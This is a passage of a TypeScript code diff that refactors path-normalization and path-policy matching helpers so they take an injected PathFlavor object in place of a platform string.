+ * best-effort symlink resolution); the platform's path semantics arrive as an
10
+ * injected {@link PathFlavor}, never read ambiently.
13
11
  */
14
12
  export function normalizePathForComparison(
15
13
  pathValue: string,
16
- cwd: string,
17
- platform: NodeJS.Platform,
14
+ base: string,
15
+ flavor: PathFlavor,
18
16
  ): string {
19
- const trimmed = pathValue.trim().replace(/^['"]|['"]$/g, "");
20
- if (!trimmed) {
21
- return "";
22
- }
23
-
24
- let normalizedPath = trimmed.startsWith("@") ? trimmed.slice(1) : trimmed;
25
- normalizedPath = expandHomePath(normalizedPath);
26
-
27
- const impl = platform === "win32" ? winPath : posixPath;
28
- const absolutePath = impl.resolve(cwd, normalizedPath);
29
- const normalizedAbsolutePath = impl.normalize(absolutePath);
30
- return platform === "win32"
31
- ? normalizedAbsolutePath.toLowerCase()
32
- : normalizedAbsolutePath;
17
+ const cleaned = normalizePathPolicyLiteral(pathValue);
18
+ return cleaned ? flavor.comparable(cleaned, base) : "";
33
19
  }
34
20
 
35
21
  export interface PathPolicyValueOptions {
@@ -49,9 +35,9 @@ export interface PathPolicyValueOptions {
49
35
  * Normalize a single path-like lookup value without resolving it against CWD.
50
36
  *
51
37
  * Preserves compatibility with existing relative path rules (`src/*`, `*.env`)
52
- * while applying the same lexical cleanup as
53
- * {@link normalizePathForComparison}: trim, strip simple wrapping quotes,
54
- * strip the OpenCode-style leading `@`, and expand `~` / `$HOME`.
38
+ * while applying the lexical cleanup {@link normalizePathForComparison} shares:
39
+ * trim, strip simple wrapping quotes, strip the OpenCode-style leading `@`, and
40
+ * expand `~` / `$HOME`.
55
41
  */
56
42
  export function normalizePathPolicyLiteral(pathValue: string): string {
57
43
  const trimmed = pathValue.trim().replace(/^['"]|['"]$/g, "");
@@ -70,7 +56,7 @@ export function normalizePathPolicyLiteral(pathValue: string): string {
70
56
  export function getPathPolicyValues(
71
57
  pathValue: string,
72
58
  options: PathPolicyValueOptions,
73
- platform: NodeJS.Platform,
59
+ flavor: PathFlavor,
74
60
  ): string[] {
75
61
  const literal = normalizePathPolicyLiteral(pathValue);
76
62
  if (!literal) return [];
@@ -78,7 +64,7 @@ export function getPathPolicyValues(
78
64
 
79
65
  return [
80
66
  ...new Set([
81
- ...getAbsolutePathPolicyValues(pathValue, options, platform),
67
+ ...getAbsolutePathPolicyValues(pathValue, options, flavor),
82
68
  literal,
83
69
  ]),
84
70
  ];
@@ -87,38 +73,34 @@ export function getPathPolicyValues(
87
73
  function getAbsolutePathPolicyValues(
88
74
  pathValue: string,
89
75
  options: PathPolicyValueOptions,
90
- platform: NodeJS.Platform,
76
+ flavor: PathFlavor,
91
77
  ): string[] {
92
78
  const resolveBase = options.resolveBase ?? options.cwd;
93
79
  if (!resolveBase) return [];
94
80
 
95
- const absolute = normalizePathForComparison(pathValue, resolveBase, platform);
81
+ const absolute = normalizePathForComparison(pathValue, resolveBase, flavor);
96
82
  if (!absolute) return [];
97
83
 
98
84
  return [
99
85
  absolute,
100
- ...getCwdRelativePathPolicyValues(absolute, options.cwd, platform),
86
+ ...getCwdRelativePathPolicyValues(absolute, options.cwd, flavor),
101
87
  ];
102
88
  }
103
89
 
104
90
  function getCwdRelativePathPolicyValues(
105
91
  absolute: string,
106
92
  cwd: string | undefined,
107
- platform: NodeJS.Platform,
93
+ flavor: PathFlavor,
108
94
  ): string[] {
109
95
  if (!cwd) return [];
110
96
 
111
- const normalizedCwd = normalizePathForComparison(cwd, cwd, platform);
97
+ const normalizedCwd = normalizePathForComparison(cwd, cwd, flavor);
112
98
  if (!normalizedCwd) return [];
113
- if (
114
- absolute !== normalizedCwd &&
115
- !isPathWithinDirectory(absolute, normalizedCwd, platform)
116
- ) {
99
+ if (absolute !== normalizedCwd && !flavor.isWithin(absolute, normalizedCwd)) {
117
100
  return [];
118
101
  }
119
102
 
120
- const impl = platform === "win32" ? winPath : posixPath;
121
- const relativeValue = impl.relative(normalizedCwd, absolute);
103
+ const relativeValue = flavor.impl.relative(normalizedCwd, absolute);
122
104
  return relativeValue ? [relativeValue] : [];
123
105
  }
124
106
 
@@ -129,11 +111,10 @@ function getCwdRelativePathPolicyValues(
129
111
  */
130
112
  export function canonicalNormalizePathForComparison(
131
113
  pathValue: string,
132
- cwd: string,
133
- platform: NodeJS.Platform,
114
+ base: string,
115
+ flavor: PathFlavor,
134
116
  ): string {
135
- const lexical = normalizePathForComparison(pathValue, cwd, platform);
117
+ const lexical = normalizePathForComparison(pathValue, base, flavor);
136
118
  if (!lexical) return "";
137
- const canonical = canonicalizePath(lexical, platform);
138
- return platform === "win32" ? canonical.toLowerCase() : canonical;
119
+ return flavor.fold(canonicalizePath(lexical, flavor));
139
120
  }